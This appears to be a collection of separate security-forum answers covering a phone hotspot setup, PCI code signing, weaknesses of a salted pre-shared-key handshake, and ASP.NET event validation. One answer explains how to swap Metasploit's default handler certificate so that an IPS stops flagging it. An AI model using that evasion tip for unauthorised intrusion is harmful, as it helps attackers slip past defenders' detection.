If I were you, my phone would be a quick hotspot and some sort of dynamic DNS could be used. Thus, hole punching is largely unnecessary and so are a lot of other elements you allude to in your question such as IaaS, regulations, due diligence, simplicity, et al. If you have a wired coporate connection along with the WiFi hotspot connction, you could be on both networks at the same time.


I dont know if this is PCI compliant, but you could sign the code inside the PCI compliant enviroment before uploading code to the cloud deployment system. Since the code is signed, it should in PCI sense be unmodifiable (e.g. if the repo is compromised, CDE wouln't accept data from it), thus you should be able to show that the cloud system CANNOT compromise the CDE.

You could ask your PCI assessor if a setup with signed code that is signed inside the PCI compliant system would be okay.


Secure preshared key 2 way authentication

The only glaring problem I see here is that the salt is effectively useless. The point of a salt is to make cracking more difficult by adding an extra unknown factor to support the entropy of the hashing process. Salts do not necessarily need to be secrets, but we do want them to have a few properties when it comes to securing hashes:

never reuse salts
dont give salts out for free
dont use short salts

giving the salt each transaction will allow me to watch for patterns in their creation. of course, this depends on how true to random their generation is.

In this case if I'm an attacker sniffing this traffic, I have the salt every time. meaning I have effectively reduced the problem to cracking the PSK in every single case, and you provide two hashes and salts to me every connection, further increasing my pool.

This is still a big problem, I still have to see if I can find the value that leads to the hash you give, but in this case, once I have one hash+salt pair, I'm just cracking the PSK at that point.

I think the most important things here are that salts are usually used to protect large databases of information from reverse lookups or rainbow tables. But in your case, your entire server is subject to one password. Knowing the salt is a bigger deal here, and I would wager that makes the salt a secret even. Something worth guarding. Since if I really wanted to get in, I'd take one salt/hash pair and generate hashes until I found the PSK.


By default, Metasploit generates self-signed certificates with a random 4-character CN. Some aspect of that cert is most likely what the IPS is triggering on.

You can override this by providing a certificate in PEM format in the advanced option HandlerSSLCert.


Is ASP.NET Event Validation completely secure?

ASP.NET Event validation does provide a decent level of protection against some specific web security attacks, but shouldn't be considered a panacea.

There have been vulnerabilities in the implementation in the past like the ASP.NET Null Bypass and also there are cases where it may not come into play (examples here and more recently here).

From that last link there's an interesting quote from Microsoft here "The ASP.NET request validation feature performs basic input validation. Do not rely on it. Use it as an extra precautionary measure in addition to your own input validation. Only you can define what represents good input for your application."